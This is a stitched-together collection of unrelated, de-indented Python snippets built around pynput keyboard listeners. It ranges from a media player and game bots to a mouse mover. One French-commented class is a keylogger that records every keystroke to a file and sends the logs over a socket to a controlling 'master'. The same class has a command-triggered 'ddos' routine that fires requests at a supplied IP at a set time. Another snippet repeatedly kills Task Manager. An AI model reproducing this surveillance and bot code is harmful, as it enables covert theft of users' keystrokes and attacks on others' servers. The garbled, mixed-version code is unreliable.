def get_button_str():
global listener
listener = Listener(on_press=on_press)
listener.start()
while listener.is_alive():
sleep(0.1)
return getstr(btn)
def main():
global pause, nxt, vol, exit, key_listener
try:
pause = ''
nxt = ''
vol = ''
exit = ''
tracks = []
path = os.getcwd()
re_track = re.compile(r'^.+\.(?:mp3|mp4|wav)')
for dirpath, dirnames, filenames in os.walk(path + '\\tracks'):
[tracks.append(file) for file in filenames if re_track.match(file)]
display()
key_listener = Listener(on_press=on_press)
player = Thread(target=media_player, args=(tracks, path))
key_listener.start()
player.start()
key_listener.join()
player.join()
except KeyboardInterrupt:
print('Program exiting ..')
if key_listener.is_alive():
key_listener.stop()
def start(bbox, allowed_error=5, tesspath=""):
"""Takes in bounding box coordinates and begins watching
that section of the screen for the text "Fishing Bobber splashes",
double clicking the right mouse button when it sees it to reel in
the fish and recast the line. Press enter to quit.
Arguments:
bbox (list)
A list of 4 numbers (x1, y1, x2, y2) obtained from the screengrabber
program, where (x1, y1) is the top left corner of the bounding box
and (x2, y2) is the lower right corner
allowed_error (`int`, optional)
The margin of error (measured in Levenshtein distance) allowed for
text matching, i.e. 'Fishing Gobber splashes' has an error of 1
tesspath (`str`, optional)
The path to your Tesseract installation, leave blank to use default
"""
if tesspath != "":
pt.pytesseract.tesseract_path = tesspath
mouse = Controller()
listener = Listener(on_press=_keyDown)
listener.start()
timeout = 45 # Fish always appears within 45 seconds, if we wait longer than this then recast the line
cast_time = time.monotonic()
while listener.is_alive():
# Grab portion of screen defined in config file & send it to tesseract
screen = ig.grab(bbox=bbox)
screen_text = pt.image_to_string(screen)
if match(screen_text, threshold=allowed_error
) or time.monotonic() - cast_time > timeout:
# Either fish was found or timeout was exceeded, reel in the line and cast it again
mouse.click(Button.right, 2)
cast_time = time.monotonic()
time.sleep(0.25)
listener.join()
class Action(Connexion):
def __init__(self, chemin, listener):
#assigne listener à la méthode appuie
self.chemin = chemin
self.listener = Listener(on_press=self.appuie)
def start_log(self):
try:
#met les informations de base concernant le logger
#filename, spécifie le nom du fichier
#format, impose les infos de base qui se trouveront dans le logger, içi la date avec l'heure puis les infos sur les entrées sur le clavier
logging.basicConfig(filename = (chemin + "\\keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
#listener.start va commencer a écouter grace a la methode appuie qui est assigné à la varibale listener
self.listener.start()
except FileNotFoundError:
print("erreur chemin inexistant")
#Création d'une fonction appuie(), qui vas mettre en string touts les appuie sur le clavier
def appuie(self, key):
logging.info(str(key))
def stop_log(self, carte_reseau):
if not self.listener.is_alive():
carte_reseau.send("Logger non lancé".encode("utf-8"))
print("erreur")
else:
#listener.start va arreter d'écouter en fermant la methode appuie qui est assigné à la varibale listener
self.listener.stop()
carte_reseau.send("Logger arreté".encode("utf-8"))
print("logger arreté")
def get_log(self, carte_reseau):
logger = open("D:\\keyLog.txt", "r")
#lis le fichier ligne à ligne
fichier = logger.readlines()
#boucle qui permet de compter le nombre de ligne
nb_lines = 0
for line in logger.readlines():
nb_lines+=1
#on reçoit le nombre de ligne que le maitre veut récuperer
lines = carte_reseau.recv(1024).decode("utf-8")
#si tu sais elisa ce que ça fait tu peut le mettre ?
start = nb_lines-1-int(lines)
message_get_log = str(fichier[start:])
carte_reseau.send(message_get_log.encode("utf-8"))
def ddos(self, carte_reseau):
#définir le format de la date quand on la rentrera dans la variable
date = carte_reseau.recv(1024).decode("utf-8")
print(date)
format = "%Y-%m-%d %H:%M"
#on récupère la date et l'heure actuelle et on la formate comme voulu ci dessus
now = datetime.strftime(datetime.now(), format)
print(now)
ip = carte_reseau.recv(1024).decode("utf-8")
url = "http://" + ip
#on compare la date et l'heure récupérées à celle souhaitée pour le ddos
while (now != date):
print("En attente ...")
time.sleep(10)
now = datetime.strftime(datetime.now(), format)
requete = requests.get(url)
print("Requête : ", requete.text)
class KeyboardWatcher:
def __init__(self, key_handlers: Sequence, verbose: bool = False):
self._pool = KeyPool()
self._verbose = verbose
# sort them in order to give combinations precedence
key_handlers = sorted(
key_handlers,
key=lambda x: len(x.trigger),
reverse=True,
)
self._handlers = {handler.trigger: handler for handler in key_handlers}
self._listener = None
target = partial(infinite_handle_cycle,
active_keys=self.pressed,
handlers=self._handlers,
handle_method_name='press')
hold_thread = Thread(target=target, daemon=True)
hold_thread.start()
self._listener = Listener(
on_press=self.handle_press,
on_release=self.handle_release,
# suppress=True,
)
@property
def pressed(self):
return self._pool.pressed
@property
def released(self):
return self._pool.released
@staticmethod
def _get_pressed_key(key: KeyCode):
if isinstance(key, KeyCode):
key_name = key.char
elif isinstance(key, Key):
key_name = key.name
else:
raise ValueError
try:
key_name = key_name.lower()
except AttributeError:
return None
return key_name
def handle_press(self, key: KeyCode):
key_name = self._get_pressed_key(key)
if (key_name and key_name not in self.pressed):
self.pressed.add(key_name)
if self._verbose:
print(f'pressed: {self.pressed}')
def handle_release(self, key: KeyCode):
key_name = self._get_pressed_key(key)
if key_name in self.pressed:
self.pressed.remove(key_name)
self.released.add(key_name)
_handle_cycle(self.released, self._handlers, 'release')
self.released.remove(key_name)
if self._verbose:
print(f'released: {self.pressed}')
def join(self):
while self._listener.is_alive():
self._listener.join(0.1)
def __enter__(self):
self._listener.start()
self._listener.wait()
return self
def __exit__(self, exc_type, exc_val, exc_tb):
self._listener.stop()
def start(self):
self._listener.start()
while True:
time.sleep(0.1)
class cmdUI:
UPDATE_TIME = 1
def __init__(self):
self.my_addr = None
self.conns = {}
self.key_listener = Listener(on_press=self.on_press)
self.from_keyboard = None
self.key_buff = ''
def run(self):
self.my_addr = input('Name:')
client = Client(self.my_addr, 'dummy password')
client.accept_callback(self.update_cunnections)
self.menu_layout()
def menu_layout(self):
self.key_listener.start()
while self.from_keyboard != 'q':
self.clear_screen()
print(self.from_keyboard)
print(self.key_buff)
for i, name in enumerate(self.conns):
print(f'{i}:\t{name}\t{self.conns[name]["unread"]}')
if self.from_keyboard == i:
print(f'move to conversation number {i}, {name}')
time.sleep(5)
self.from_keyboard = None
time.sleep(self.UPDATE_TIME)
self.do_exit()
def update_cunnections(self, conn):
conn_dict = {
'conn': conn,
'addr': conn.target_address,
'msg': [],
'unread': 0
}
self.conns[conn.target_address] = conn_dict
conn.receive_callback(self.update_receive)
def update_receive(self, conn, msg):
if msg:
msg_dict = {
'from': conn.target_address,
'data': msg
}
conn_dict = self.conns[conn.target_address]
conn_dict['msg'] = msg_dict
conn_dict['unread'] += 1
else:
del self.conns[conn.target_address]
@staticmethod
def clear_screen():
# for windows
if os.name == 'nt':
_ = os.system('cls')
# for mac and linux(here, os.name is 'posix')
else:
_ = os.system('clear')
def on_press(self, key):
if key == Key.enter:
print(self.key_buff)
if self.key_buff:
try:
num = int(self.key_buff)
if len(self.conns) > num:
self.from_keyboard = num
except:
pass
self.key_buff = ''
else:
try:
if key.char == 'q':
self.from_keyboard = 'q'
return
self.key_buff += key.char
except:
self.key_buff = ''
def do_exit(self):
for conn in self.conns:
conn.disconnect()
if self.key_listener.is_alive():
self.key_listener.stop()
print('exit UI')
def game(genome, config):
global moves
net = neat.nn.FeedForwardNetwork.create(genome, config)
driver = webdriver.Chrome()
driver.implicitly_wait(10)
driver.set_window_size(240, 320)
driver.get("chrome://dino/")
keyboard = Controller()
keyboard.press(Key.space)
time.sleep(2)
global object_coord
global dino_coord
global delay
max_speed = 100
velocity_coeff = 1
speed = 0
delay = time.time()
sec = time.time()
object_coord = (0, 0)
start_time = time.time()
while True:
listener = Listener(on_press=on_press, on_release=on_release)
listener.start()
screen = np.array(ImageGrab.grab(bbox=(25, 135, 490, 320)))
screen_gray = cv2.cvtColor(screen, cv2.COLOR_BGR2GRAY)
for dino in dino_traces:
res_dino = cv2.matchTemplate(screen_gray, dino,
cv2.TM_CCOEFF_NORMED)
loc_dino = np.where(res_dino >= match_threshold)
for dino_tr in zip(*loc_dino[::-1]):
dino_coord = dino_tr[0], dino_tr[1]
for object in object_traces:
res_object = cv2.matchTemplate(screen_gray, object,
cv2.TM_CCOEFF_NORMED)
loc_object = np.where(res_object >= match_threshold)
for object_tr in zip(*loc_object[::-1]):
object_coord = object_tr[0], object_tr[1]
if time.time() - sec >= 1 and time.time() - start_time < max_speed:
speed += velocity_coeff
sec = time.time()
input = (object_coord[0] - dino_coord[0], dino_coord[1],
object_coord[1], speed)
distance = int(round(time.time() - start_time)) * 10
if driver.execute_script("return Runner.instance_.crashed") == True:
if listener.is_alive() == True:
listener.stop()
driver.close()
driver.quit()
actions = moves
print 'Distance: ' + str(distance)
print 'Actions: ' + str(actions)
moves = 0
return distance # - actions
output = net.activate(input)
print output[0]
if output[0] > 0.9:
keyboard.press(Key.space)
delay = time.time()
elif output[0] < 0.1:
keyboard.press(Key.down)
delay = time.time()
else:
pass
import psutil
from pynput.keyboard import Key, Listener
from time import sleep
def on_press(key):
return True
def on_release(key):
if key == Key.alt_r:
return False
listener = Listener(on_press=on_press, on_release=on_release)
listener.start()
while (listener.is_alive()):
for proc in psutil.process_iter():
if any(procstr in proc.name() for procstr in\
['Taskmgr']):
print('Killing Taskmanager')
proc.kill()
import pynput
import time
import sys
pyautogui.FAILSAFE = True
from pynput.keyboard import Key, Listener
def on_release(key):
if key == Key.esc: # checks if esc key was pressed
#print("funca") # print to check listener works
return False # to kills listener
if __name__ == '__main__':
listener = Listener(on_release=on_release)
listener.start()
while True:
pyautogui.moveTo(
100, 100,
duration=0.25) # sets cursor at the upper left side of the screen
pyautogui.moveTo(200, 100,
duration=0.25) # moves the cursor 100 px to the right
time.sleep(3) # sets the time between movement loop
if not listener.is_alive(): # checks if listener is working
break # kills the while loop if esc was pressed
#--------------- P G P dev -------------------------------------------------